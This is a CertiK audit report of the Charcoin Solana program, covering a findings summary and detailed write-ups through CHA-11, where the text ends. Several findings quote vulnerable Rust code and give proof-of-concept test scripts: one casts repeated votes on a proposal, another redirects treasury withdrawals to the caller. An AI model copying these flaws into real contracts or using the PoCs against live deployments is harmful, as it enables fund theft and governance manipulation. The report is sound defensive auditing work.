Charcoin - Audit

Security Assessment

CertiK Assessed on Jul 14th, 2025

CertiK Assessed on Jul 14th, 2025

Charcoin - Audit

The security assessment was prepared by CertiK, the leader in Web3.0 security.

Executive Summary

TYPES	ECOSYSTEM	METHODS
DeFi	Solana (SOL)	Formal Verification, Manual Review, Static Analysis

LANGUAGE	TIMELINE	KEY COMPONENTS
Rust	Delivered on 07/14/2025	N/A

CODEBASE

CharCoin

View All in Codebase Page

COMMITS

Preliminary:

- fb1d631347695051035l5caea6645fdbdc657dea

Final:

View All in Codebase Page

Highlighted Centralization Risks

- Contract upgradeability
- Withdraws can be disabled

Vulnerability Summary

42	35	2	5	0
Total Findings	Resolved	Partially Resolved	Acknowledged	Declined

2	Centralization	2 Acknowledged	Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.
1	Critical	1 Resolved	Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
5	Major	5 Resolved	Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.
11	Medium	11 Resolved	Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.
14	Minor	13 Resolved, 1 Partially Resolved	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.

9	Informational	5 Resolved, 1 Partially Resolved, 3 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS | CHARCOIN - AUDIT

Summary

Executive Summary

Vulnerability Summary

Codebase

Audit Scope

Approach & Methods

Review Notes

System Overview

Out-of-Scope Components

External Dependencies

Privileged Functions

Findings

CHA-07 : Incorrect Authority Used in Reward Claim Transfer

CHA-08 : Centralization Related Risk in `release_funds` & `distribute_marketing_funds` Instructions

CHA-09 : Centralization Related Risks and Upgradability

CHA-10 : Unrestricted Voting in Proposal Voting Function

CHA-11 : Insecure Recipient Handling in Withdrawal Execution

CHA-12 : Potential Whale Risk in `vote_on_proposal` Instruction Enables Block of Proposal Execution

CHA-13 : No Restriction upon `vote_weight` in `cast_vote` Instruction Enables Block of Charity Vote

CHA-45 : Potential Block of Unstake and Voting Power Loss in `request_unstake_tokens()` Function

CHA-03 : Missing Mint Account Validation in `StakeInitialize` Instruction

CHA-14 : Incorrect Reward Calculation in Staking Contract

CHA-15 : Missing Reward Claim in `unstake_tokens` Instruction Enables Loss of Staking Reward

CHA-16 : Missing Withdrawal Amount Validation in `create_withdrawal` Instruction May Lock Treasury SOL Assets

CHA-17 : Duplicate Owners in `initialize_treasury` Can Prevent Withdrawals

CHA-19 : Insufficient Vote Cooling-off Period Check of Staking Assets in `vote_on_proposal` Instruction

CHA-38 : Excessive Stack Usage Leading to Potential Undefined Behavior

CHA-39 : Immutable Account Update in `cast_vote` Instruction

CHA-42 : Incorrect Calculation for User Stake Amount in `stake_tokens()` Function

CHA-43 : Missing Reset `user.voting_power` in `unstake_tokens()` Enables Accumulation of Fake Voting Power

CHA-44 : Incorrect Vote Weight Calculation in `cast_vote` Logic

CHA-01 : Incorrect Storage Space Allocation

CHA-06 : Missing Access Control For `register_charity`

CHA-20 : Insecure Mint Verification in Buyback Function

CHA-21 : Lack of Proposal Status Check Allows Multiple Finalizations

CHA-22 : Lack of Validation for `pool_token_account` in Stake Initialization

CHA-23 : Insufficient `Treasury` Multisign Threshold Validation

CHA-25 : Potential Front-Running Risk with Initialize Instructions

CHA-26 : Missing Mint Account Restriction in `staking_initialize` Instruction Allows Invalid SPL Token Staking

CHA-27 : Missing Non-Zero Check

CHA-28 : Inconsistent State: `withdrawal_count` Not Incremented After Executing Withdrawals

CHA-29 : Inconsistent Proposal ID Handling in `vote_on_proposal` May Lead to Misleading Event Logs

CHA-31 : Inadequate Mint Verification for Token Account in Distribution

CHA-32 : Defined `Vote` Struct Not Utilized in Voting Functionality

CHA-37 : Missing Owner Validation in `ReleaseMonthlyFunds`

CHA-02 : Confirmation On the Fund Release

CHA-04 : The Source of Treasury Funds

CHA-05 : The Design Logic of `staking_reward_ata` CHAR Asset Balance

CHA-33 : Useless Test Code for Production Environment

CHA-34 : Useless Account in Instruction

CHA-35 : The Design Logic of Buyback Mechanism

CHA-36 : Potential Improper Voting Eligibility Check in `cast_vote` Instruction

CHA-40 : Inconsistency Between Code and Error Message

CHA-41 : Confirmation On the `voting_power`

Appendix

Disclaimer

CODEBASE | CHARCOIN - AUDIT

Repository

CharCoin

Commit

Preliminary:

- fb1d63134769505103515caea6645fdbdc657dea

Final:

- 4045eccca9fb983df7b44ac0be5c8f592cbdcd06

AUDIT SCOPE | CHARCOIN - AUDIT

8 files audited ● 3 files with Acknowledged findings ● 3 files with Partially Resolved findings
● 1 file with Resolved findings ● 1 file without findings

ID	Repo	File	SHA256 Checksum
● CCU	CharCoin/charcoin-programs	programs/charcoin/src/burn.rs	b59024125dc26b31ad1260fff8f92e0f5606b51fb0acb6568771640826c9eff1
● CCG	CharCoin/charcoin-programs	programs/charcoin/src/marketing.rs	161da385b9919b566c730207e1afcef79bdb3529608dd7163ba3432afb5fe959
● CCN	CharCoin/charcoin-programs	programs/charcoin/src/rewards.rs	e88d255245f8154ecfbd90718775160aeb810fad65940e336fba029306db162e
● CCT	CharCoin/charcoin-programs	programs/charcoin/src/governance.rs	1a7420444160258f7bc8f4e1aa967d788046965ea9b330450313fb8e9730e073
● CCI	CharCoin/charcoin-programs	programs/charcoin/src/lib.rs	8a5408e3b98b26c90880b213b178fa5032d43912b457c2aadd21188c38bec487
● CBU	CharCoin/charcoin-programs	programs/charcoin/src/staking.rs	04397d4373d13d96e192911cf625f1dd02fc9e2f515081b76eea3d4dab1cc52c
● CCH	CharCoin/charcoin-programs	programs/charcoin/src/donation.rs	e3a1b57c258f866522bb1c3f66b2f18386936000ec9ea2024cbe493b1f6d235f
● CCO	CharCoin/charcoin-programs	programs/charcoin/src/security.rs	c28d709b35d8feab6c6836ea0eae6a68ccb5bc3953c65b296967c96326d1aaee

APPROACH & METHODS | CHARCOIN - AUDIT

This report has been prepared for Charcoin to discover issues and vulnerabilities in the source code of the Charcoin - Audit project as well as any contract dependencies that were not part of an officially recognized library. A comprehensive examination has been performed, utilizing Formal Verification, Manual Review, and Static Analysis techniques.

The auditing process pays special attention to the following considerations:

- Testing the smart contracts against both common and uncommon attack vectors.
- Assessing the codebase to ensure compliance with current best practices and industry standards.
- Ensuring contract logic meets the specifications and intentions of the client.
- Cross referencing contract structure and implementation against similar smart contracts produced by industry leaders.
- Thorough line-by-line manual review of the entire codebase by industry experts.

The security assessment resulted in findings that ranged from critical to informational. We recommend addressing these findings to ensure a high level of security standards and industry practices. We suggest recommendations that could better serve the project from the security perspective:

- Testing the smart contracts against both common and uncommon attack vectors;
- Enhance general coding practices for better structures of source codes;
- Add enough unit tests to cover the possible use cases;
- Provide more comments per each function for readability, especially contracts that are verified in public;
- Provide more transparency on privileged activities once the protocol is live.

REVIEW NOTES | CHARCOIN - AUDIT

System Overview

This audit concerns the implementation of the charcoin program, which includes the token distribution, governance, burn, and staking activity.

Out-of-Scope Components

The SPL-2022 `CHAR` token, which represents voting power, is not included in the current audit scope. The audit assumes that

1. its initial distribution does not pose a potential whale risk.
2. its extensions are correctly and safely implemented.

External Dependencies

The project mainly contains the following dependencies:

Dependency	Version
anchor-lang	0.30.1
anchor-spl	0.30.1

It should also be noted here that the code dependencies are in active development in the current auditing version and some of the keywords/functionality may be deprecated in a newer version. It is necessary to keep the dependencies up-to-date to avoid potential vulnerabilities.

The on-chain program can be upgradeable after the initial deployment due to Solana's features. Also, based on the unique rent mechanism in Solana, the balance in the account should be carefully set.

We assume these dependencies are valid and non-vulnerable factors and implement proper logic to collaborate with the current project. For example, the associated token account ownership transfer will not be considered after checking with the team.

Privileged Functions

The bridge project relies on an admin authority to ensure the dynamic runtime updates of the project, which are specified in the **Centralization** findings.

Any compromise to the privileged roles may allow the hacker to take advantage of this authority and disrupt the staking process.

To improve the trustworthiness of the project, the community should be notified of dynamic runtime updates. Any plans to invoke a privileged function should also be considered to move to the execution queue of a `Timelock` contract.

The Solana platform allows for upgrading its programs, with the default upgrade authority being the entity responsible for deployment. In situations where the program has upgradability features and the account of the upgrade authority becomes compromised, there is the potential for an unauthorized and malicious update to the program.

FINDINGS | CHARCOIN - AUDIT

42	1	2	5	11	14	9
Total Findings	Critical	Centralization	Major	Medium	Minor	Informational

This report has been prepared to discover issues and vulnerabilities for Charcoin - Audit. Through this audit, we have uncovered 42 issues ranging from different severity levels. Utilizing the techniques of Formal Verification, Manual Review & Static Analysis to complement rigorous manual code reviews, we discovered the following findings:

ID	Title	Category	Severity	Status
CHA-07	Incorrect Authority Used In Reward Claim Transfer	Logical Issue	Critical	Resolved
CHA-08	**Centralization Related Risk In `release_funds` & `distribute_marketing_funds` Instructions**	**Centralization, Design Issue**	**Centralization**	**Acknowledged**
CHA-09	**Centralization Related Risks And Upgradability**	**Centralization**	**Centralization**	**Acknowledged**
CHA-10	Unrestricted Voting In Proposal Voting Function	Logical Issue	Major	Resolved
CHA-11	Insecure Recipient Handling In Withdrawal Execution	Access Control, Logical Issue	Major	Resolved
CHA-12	Potential Whale Risk In `vote_on_proposal` Instruction Enables Block Of Proposal Execution	Design Issue, Logical Issue	Major	Resolved
CHA-13	No Restriction Upon `vote_weight` In `cast_vote` Instruction Enables Block Of Charity Vote	Coding Issue	Major	Resolved
CHA-45	Potential Block Of Unstake And Voting Power Loss In `request_unstake_tokens()` Function	Logical Issue	Major	Resolved

ID	Title	Category	Severity	Status
CHA-03	Missing Mint Account Validation In `StakeInitialize` Instruction	Coding Issue	Medium	Resolved
CHA-14	Incorrect Reward Calculation In Staking Contract	Logical Issue	Medium	Resolved
CHA-15	Missing Reward Claim In `unstake_tokens` Instruction Enables Loss Of Staking Reward	Logical Issue	Medium	Resolved
CHA-16	Missing Withdrawal Amount Validation In `create_withdrawal` Instruction May Lock Treasury SOL Assets	Logical Issue, Design Issue	Medium	Resolved
CHA-17	Duplicate Owners In `initialize_treasury` Can Prevent Withdrawals	Volatile Code	Medium	Resolved
CHA-19	Insufficient Vote Cooling-Off Period Check Of Staking Assets In `vote_on_proposal` Instruction	Design Issue	Medium	Resolved
CHA-38	Excessive Stack Usage Leading To Potential Undefined Behavior	Coding Issue	Medium	Resolved
CHA-39	Immutable Account Update In `cast_vote` Instruction	Logical Issue	Medium	Resolved
CHA-42	Incorrect Calculation For User Stake Amount In `stake_tokens()` Function	Coding Issue	Medium	Resolved
CHA-43	Missing Reset `user.voting_power` In `unstake_tokens()` Enables Accumulation Of Fake Voting Power	Logical Issue	Medium	Resolved
CHA-44	Incorrect Vote Weight Calculation In `cast_vote` Logic	Logical Issue	Medium	Resolved
CHA-01	Incorrect Storage Space Allocation	Coding Issue	Minor	Resolved
CHA-06	Missing Access Control For `register_charity`	Access Control	Minor	Resolved

ID	Title	Category	Severity	Status
CHA-20	Insecure Mint Verification In Buyback Function	Access Control	Minor	Resolved
CHA-21	Lack Of Proposal Status Check Allows Multiple Finalizations	Logical Issue	Minor	Resolved
CHA-22	Lack Of Validation For `pool_token_account` In Stake Initialization	Logical Issue	Minor	Resolved
CHA-23	Insufficient `Treasury` Multisign Threshold Validation	Design Issue	Minor	Resolved
CHA-25	Potential Front-Running Risk With Initialize Instructions	Volatile Code	Minor	Partially Resolved
CHA-26	Missing Mint Account Restriction In `staking_initialize` Instruction Allows Invalid SPL Token Staking	Design Issue	Minor	Resolved
CHA-27	Missing Non-Zero Check	Coding Issue	Minor	Resolved
CHA-28	Inconsistent State: `withdrawal_count` Not Incremented After Executing Withdrawals	Inconsistency	Minor	Resolved
CHA-29	Inconsistent Proposal ID Handling In `vote_on_proposal` May Lead To Misleading Event Logs	Volatile Code	Minor	Resolved
CHA-31	Inadequate Mint Verification For Token Account In Distribution	Logical Issue	Minor	Resolved
CHA-32	Defined `Vote` Struct Not Utilized In Voting Functionality	Logical Issue	Minor	Resolved
CHA-37	Missing Owner Validation In `ReleaseMonthlyFunds`	Logical Issue	Minor	Resolved
CHA-02	Confirmation On The Fund Release	Design Issue	Informational	Acknowledged

ID	Title	Category	Severity	Status
CHA-04	The Source Of Treasury Funds	Design Issue	Informational	Resolved
CHA-05	The Design Logic Of `staking_reward_ata` CHAR Asset Balance	Design Issue	Informational	Resolved
CHA-33	Useless Test Code For Production Environment	Coding Style	Informational	Resolved
CHA-34	Useless Account In Instruction	Coding Style	Informational	Partially Resolved
CHA-35	The Design Logic Of Buyback Mechanism	Design Issue	Informational	Acknowledged
CHA-36	Potential Improper Voting Eligibility Check In `cast_vote` Instruction	Logical Issue	Informational	Acknowledged
CHA-40	Inconsistency Between Code And Error Message	Coding Style	Informational	Resolved
CHA-41	Confirmation On The `voting_power`	Design Issue	Informational	Resolved

CHA-07 INCORRECT AUTHORITY USED IN REWARD CLAIM TRANSFER

Category	Severity	Location	Status
Logical Issue	Critical	programs/charcoin/src/staking.rs (pre(fb1d631)): 186~190, 196, 421~425	Resolved

Description

The `claim_reward` function is intended to transfer rewards from the `staking_reward_ata` to users. However, the function incorrectly uses the `staking_pool` as the authority for the transfer. Since the `staking_reward_ata.owner` is actually `staking_pool.staking_reward_account`, this mismatch causes the transfer to fail, preventing users from receiving their rewards.

```
// Create PDA signer seeds
let pool_seeds = &[
    b"staking_pool".as_ref(),
    ctx.accounts.staking_pool.token_mint.as_ref(),
    &[ctx.accounts.staking_pool.bump],
];
let signer = &[&pool_seeds[..]];
// Transfer reward tokens to user
let cpi_accounts = Transfer {
    from: ctx.accounts.staking_reward_ata.to_account_info(),
    to: ctx.accounts.user_token_account.to_account_info(),
    authority: ctx.accounts.staking_pool.to_account_info(),
};
```

Proof of Concept

We modified the `min_staking_duration` and existing case to claim rewards.

Code

```
it("claim reward", async () => {
  const [userStake] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('user_stake'), user.publicKey.toBuffer(), new
anchor.BN(0).toArrayLike(Buffer, "le", 8)],
    program.programId
  );
  await program.methods
    .claimRewardHandler(new anchor.BN(0))
    .accounts({
      configAccount: configAccount,
      stakingPool: stakingPool,
      user: userStakePDA,
      userAuthority: user.publicKey,
      userStake: userStake,

      userTokenAccount: userAta.address,
      stakingRewardAta: stakingRewardAta.address,
      tokenProgram: TOKEN_PROGRAM_ID,
    })
    .signers([user])
    .rpc();
});
```

Result

The transfer failed due to `owner does not match`.

```
1) char coin test
       claim reward:
     Error: Simulation failed.
Message: Transaction simulation failed: Error processing Instruction 0: custom
program error: 0x4.
Logs:
[
  "Program keyk1FHhXGs82vJ2qecM8Rc96PXVvArVtNfoC8xEyKN invoke [1]",
  "Program log: Instruction: ClaimRewardHandler",
  "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA invoke [2]",
  "Program log: Instruction: Transfer",
  "Program log: Error: owner does not match",
  "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA consumed 4471 of 175236
compute units",
  "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA failed: custom program error:
0x4",
  "Program keyk1FHhXGs82vJ2qecM8Rc96PXVvArVtNfoC8xEyKN consumed 29235 of 200000
compute units",
  "Program keyk1FHhXGs82vJ2qecM8Rc96PXVvArVtNfoC8xEyKN failed: custom program error:
0x4"
].
Catch the `SendTransactionError` and call `getLogs()` on it for full details.
      at Connection.sendEncodedTransaction
(node_modules/@solana/web3.js/src/connection.ts:6047:13)
      at processTicksAndRejections (node:internal/process/task_queues:95:5)
      at Connection.sendRawTransaction
(node_modules/@solana/web3.js/src/connection.ts:6003:20)
      at sendAndConfirmRawTransaction (node_modules/@coral-
xyz/anchor/src/provider.ts:377:21)
      at AnchorProvider.sendAndConfirm (node_modules/@coral-
xyz/anchor/src/provider.ts:163:14)
      at MethodsBuilder.rpc [as _rpcFn] (node_modules/@coral-
xyz/anchor/src/program/namespace/rpc.ts:29:16)
```

Recommendation

It is suggested to use the correct authority for the transfer to ensure the rewards can be claimed correctly and successfully.

Alleviation

[Charcoin, 06/27/2025]: The team heeded the advice and resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-08 CENTRALIZATION RELATED RISK IN `release_funds` & `distribute_marketing_funds` INSTRUCTIONS

Category	Severity	Location	Status
Centralization, Design Issue	**Centralization**	**programs/charcoin/src/marketing.rs (pre(fb1d631)): 13~14; programs/charcoin/src/rewards.rs (pre(fb1d631)): 8~9**	**Acknowledged**

Description

The following code block defines the accounts used in the `release_funds` instruction for releasing funds. However, it lacks proper validation to ensure that all ATAs are specifically `CHAR` token accounts.

1. A compromise of the `treasury_authority` could result in the blockage of `CHAR` asset releases.
2. A compromise of any `*_*_wallet` or `chai_funds` account could disrupt the distribution of rewards, donations, or chain funds.

```
 8  #[derive(Accounts)]
 9  pub struct ReleaseMonthlyFunds<'info> {
10       #[account(
11              mut,
12              seeds=[b"config".as_ref()],
13              bump
14          )]
15      pub config_account: Account<'info, ConfigAccount>,
16   #[account(
17          seeds = [b"staking_pool".as_ref(), staking_pool.token_mint.as_ref()],
18          bump = staking_pool.bump,
19      )]
20      pub staking_pool: Account<'info, StakingPool>,
21      /// CHECK: Treasury token account holding funds to be distributed.
22      #[account(mut,
23
    constraint = treasury_ata.owner == config_account.config.treasury_authority,
24      )]
25      pub treasury_ata: Account<'info, TokenAccount>,
26      /// CHECK: Destination token account for staking rewards (15%).
27      #[account(mut,
28
           constraint = staking_reward_ata.owner ==
staking_pool.staking_reward_account
29      )]
30      pub staking_reward_ata: Account<'info, TokenAccount>,
31      /// CHECK: Destination token account for monthly rewards (7.5%).
32      #[account(mut,
33
    constraint = monthly_reward_ata.owner ==
config_account.config.monthly_reward_wallet,
34      )]
35      pub monthly_reward_ata: Account<'info, TokenAccount>,
36      /// CHECK: Destination token account for annual rewards (7.5%).
37      #[account(mut,
38
    constraint = annual_reward_ata.owner ==
config_account.config.annual_reward_wallet,
39      )]
40      pub annual_reward_ata: Account<'info, TokenAccount>,
41      /// CHECK: Destination token account for immediate monthly donations (48%).
42      #[account(mut,
43
    constraint = monthly_donation_ata.owner ==
config_account.config.monthly_donation_wallet,
44
45      )]
46      pub monthly_donation_ata: Account<'info, TokenAccount>,
47      /// CHECK: Destination token account for annual reserved donations (12%).
48      #[account(mut,
49
```

```
    constraint = annual_donation_ata.owner ==
config_account.config.annual_donation_wallet,
 50      )]
 51      pub annual_donation_ata: Account<'info, TokenAccount>,
 52
 53      /// CHECK: Destination token account for annual reserved donations (12%).
 54      #[account(mut,
 55      constraint = chai_funds_ata.owner == config_account.config.chai_funds,
 56      )]
 57      pub chai_funds_ata: Account<'info, TokenAccount>,
 58      /// Authority for treasury withdrawals.
 59      #[account(
 60          mut,
 61
       constraint = config_account.config.treasury_authority ==
treasury_authority.key()
 62      )]
 63  @>  pub treasury_authority: Signer<'info>,
 64      pub token_program: Program<'info, Token>,
 65  }
```

Notice: A similar issue also exists in `distribute_marketing_funds` instruction.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets.

Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[Charcoin, 06/27/2025]: The team acknowledged this issue and stated that they will use `https://squads.xyz/` for MultiSig in the future, which will not be included in this audit engagement.

[CertiK, 06/27/2025]: It is suggested to implement the aforementioned methods to avoid centralized failure. Also, CertiK strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

CHA-09 | CENTRALIZATION RELATED RISKS AND UPGRADABILITY

Category	Severity	Location	Status
Centralization	**Centralization**		**Acknowledged**

Description

In the contract `charcoin`, the role `config.admin` has authority over the functions below. Any compromise to the `config.admin` account may allow the hacker to take advantage of this authority:

- `initialize_treasury()`: initializes the DAO treasury
- `create_withdrawal()`: creates a new withdrawal proposal
- `change_emergency_state()`: change emergency state
- `update_settings()`: update settings
- `staking_initialize()`: initialize staking pool
- `register_charity_handler()`, register charity.
- `set_reward_percentage_handler()`, set reward configuration.

In the contract `charcoin`, the role `treasury.owners` has authority over the functions below. Any compromise to the `treasury.owner` account may allow the hacker to take advantage of this authority:

- `approve_withdrawal()`: approves a withdrawal proposal

In the contract `charcoin`, the role `treasury_authority` has authority over the functions below. Any compromise to the `treasury_authority` account may allow the hacker to take advantage of this authority:

- `distribute_marketing_funds()`: distribute marketing funds
- `release_rewards()`: release rewards
- `release_donations()`: release donations
- `release_staking_char_funds()`: release staking char funds

The Solana platform allows for the possibility of upgrading its programs, with the default upgrade authority being the entity responsible for deployment. In situations where the program has upgradability features and the account of the upgrade authority becomes compromised, there is the potential for an unauthorized and malicious update to the program.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend

centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets.

Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[Charcoin, 06/23/2025]: Will use https://squads.xyz for muti sig.

[CertiK, 06/24/2025]: It should be noted that the centralization risk issue still exists. CertiK strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

CHA-10 UNRESTRICTED VOTING IN PROPOSAL VOTING FUNCTION

Category	Severity	Location	Status
Logical Issue	Major	programs/charcoin/src/governance.rs (pre(fb1d631)): 65	Resolved

Description

The `vote_on_proposal` function allows staking users to vote on proposals, with their vote weight determined by the amount of tokens they have staked. However, the function does not limit the number of times a user can vote on a single proposal. This oversight enables malicious users to cast multiple votes on the same proposal, potentially manipulating the outcome. The relevant code snippet is:

```
pub fn vote_on_proposal(
    ctx: Context<VoteOnProposal>,
    proposal_id: u64,
    vote_choice: bool
) -> Result<()> {
    let current_time = Clock::get()?.unix_timestamp;
    let proposal = &mut ctx.accounts.proposal;
    let user = &ctx.accounts.user;
    require!(
        user.total_amount > 0,
        GovernanceError::NoStakedTokens
    );
    let amount_staked = user.total_amount;
     require!(
        current_time - user.first_staked_at >= 15 * 86400,
        GovernanceError::VotingNotEligible
    );

    require!(
        current_time < proposal.end_time,
        GovernanceError::VotingPeriodEnded
    );
    if vote_choice {
        proposal.yes_votes = proposal
            .yes_votes
            .checked_add(amount_staked)
            .ok_or(GovernanceError::MathError)?;
    } else {
        proposal.no_votes = proposal
            .no_votes
            .checked_add(amount_staked)
            .ok_or(GovernanceError::MathError)?;
    }
    // ... (rest of the function)
}
```

Proof of Concept

We modified the existing test case to simulate this issue.

Code

```
it("voteOnProposal", async () => {

  const [proposalAccount] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('proposal'), user.publicKey.toBuffer(), new
anchor.BN(0).toArrayLike(Buffer, "le", 8)],
    program.programId
  );

  console.log("before vote1 yesVotes: ",(await
program.account.proposal.fetch(proposalAccount)).yesVotes.toNumber());

  const voteChoice = true;
  await program.methods
    .voteOnProposalHandler(new anchor.BN(0), voteChoice)
    .accounts({
      configAccount: configAccount,
      proposal: proposalAccount,
      voter: user.publicKey,
      user: userStakePDA,
      stakingPool: stakingPool,
      systemProgram: anchor.web3.SystemProgram.programId,

    })
    .signers([user])
    .rpc();

  console.log("after vote1 yesVotes: ",(await
program.account.proposal.fetch(proposalAccount)).yesVotes.toNumber());
    await program.methods
      .voteOnProposalHandler(new anchor.BN(0), voteChoice)
      .accounts({
        configAccount: configAccount,
        proposal: proposalAccount,
        voter: user.publicKey,
        user: userStakePDA,
        stakingPool: stakingPool,
        systemProgram: anchor.web3.SystemProgram.programId,

      })
      .signers([user])
      .rpc();
    console.log("after vote2 yesVotes: ",(await
program.account.proposal.fetch(proposalAccount)).yesVotes.toNumber());
})
```

Result

The user can cast multiple votes on the same proposal.

```
before vote1 yesVotes:  0
after vote1 yesVotes:  4000000
after vote2 yesVotes:  8000000
    ✔ voteOnProposal (952ms)
```

Recommendation

It is suggested to implement a mechanism to track and limit each user's voting activity on a proposal.

Alleviation

[Charcoin, 06/27/2025]: The team heeded the advice and resolved the issue in the updated version 7c0b97a0b63414c1c1efaed548b1b6ef6d54794c.

CHA-11 INSECURE RECIPIENT HANDLING IN WITHDRAWAL EXECUTION

Category	Severity	Location	Status
Access Control, Logical Issue	Major	programs/charcoin/src/governance.rs (pre(fb1d631)): 251	Resolved

Description

The `execute_withdrawal` function is responsible for executing a withdrawal proposal once sufficient approvals have been collected. However, it lacks proper validation of the `recipient` account and the signer, allowing any user to call this function and potentially redirect funds to themselves by manipulating the `recipient` field.

```
pub fn execute_withdrawal(ctx: Context<ExecuteWithdrawal>) -> Result<()> {
    let current_time = Clock::get()?.unix_timestamp;
    let treasury = &ctx.accounts.treasury;
    let withdrawal = &mut ctx.accounts.withdrawal;
    require!(!withdrawal.executed, GovernanceError::AlreadyExecuted);
    require!(
        withdrawal.approvals.len() as u8 >= treasury.threshold,
        GovernanceError::InsufficientApprovals
    );
    let lamports = withdrawal.amount;
    let treasury_account = ctx.accounts.treasury.to_account_info();
    let recipient_account = ctx.accounts.recipient.to_account_info();
    **treasury_account.try_borrow_mut_lamports()? -= lamports;
    **recipient_account.try_borrow_mut_lamports()? += lamports;
    withdrawal.executed = true;
    msg!(
        "Executed withdrawal of {} lamports to {:?}",
        lamports,
        withdrawal.recipient
    );
    emit!(WithdrawalExecutedEvent {
        amount: lamports,
        recipient: withdrawal.recipient,
        timestamp: current_time,
    });
    Ok(())
}
```

Proof of Concept

We modified the existing case to simulate this issue.

Code

```
it("execute withdrawal ", async () => {
  const [treasuryAccount] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('treasury'),],
    program.programId
  );
  await airdropSol(treasuryAccount, 1 * 1e9);
  const [withdrawalAccount] = anchor.web3.PublicKey.findProgramAddressSync(
    [Buffer.from('withdrawal'),],
    program.programId
  );
  console.log("withdraw amount: ", (await
program.account.withdrawalProposal.fetch(withdrawalAccount)).amount.toNumber());
  console.log("target recipient(admin): ", (await
program.account.withdrawalProposal.fetch(withdrawalAccount)).recipient);
  console.log("actual recipient(user): ", user.publicKey);
  console.log("admin balance before withdraw: ", await
program.provider.connection.getBalance(admin.publicKey));
  console.log("user balance before withdraw: ", await
program.provider.connection.getBalance(user.publicKey));
  console.log("treasury balance before withdraw: ", await
program.provider.connection.getBalance(treasuryAccount));
  const tx = await program.methods
    .executeWithdrawalHandler()
    .accounts({
      configAccount: configAccount,
      treasury: treasuryAccount,
      withdrawal: withdrawalAccount,
      recipient: user.publicKey,
      signer: user.publicKey,
    })
    .signers([user])
    .rpc();
  console.log("admin balance after withdraw: ", await
program.provider.connection.getBalance(admin.publicKey));
  console.log("user balance after withdraw: ", await
program.provider.connection.getBalance(user.publicKey));
  console.log("treasury balance after withdraw: ", await
program.provider.connection.getBalance(treasuryAccount));
})
```

Result

The user can manipulate the `recipient` to redirect funds to themselves.

```
withdraw amount:  9999
target recipient(admin):  PublicKey
[PublicKey(3n5Zz4f3TtNM68g7AWXuaL7rWEryeahYxgStMtXnxAHp)] {
  _bn: <BN: 2943ad145c56ca097d41fe947b437e47607404e39f8031603a39e87ef1301efb>
}
actual recipient(user):  PublicKey
[PublicKey(ExFqRD94BWJtoBNWdkAJRGN5saBZ1AkLjsKwqhhdiYpd)] {
  _bn: <BN: cf4fa5f5f207c990f511d61cce8d40e269b6af9e7b7f9aeb09973d55449fcdce>
}
admin balance before withdraw:  19963007600
user balance before withdraw:  4983915440
treasury balance before withdraw:  1003236400
admin balance after withdraw:  19963007600
user balance after withdraw:  4983925439
treasury balance after withdraw:  1003226401
    ✔ execute withdrawal  (966ms)
```

Recommendation

It is suggested to implement a check to ensure that the `recipient` account matches the intended recipient specified in the `withdrawal` proposal.

Alleviation

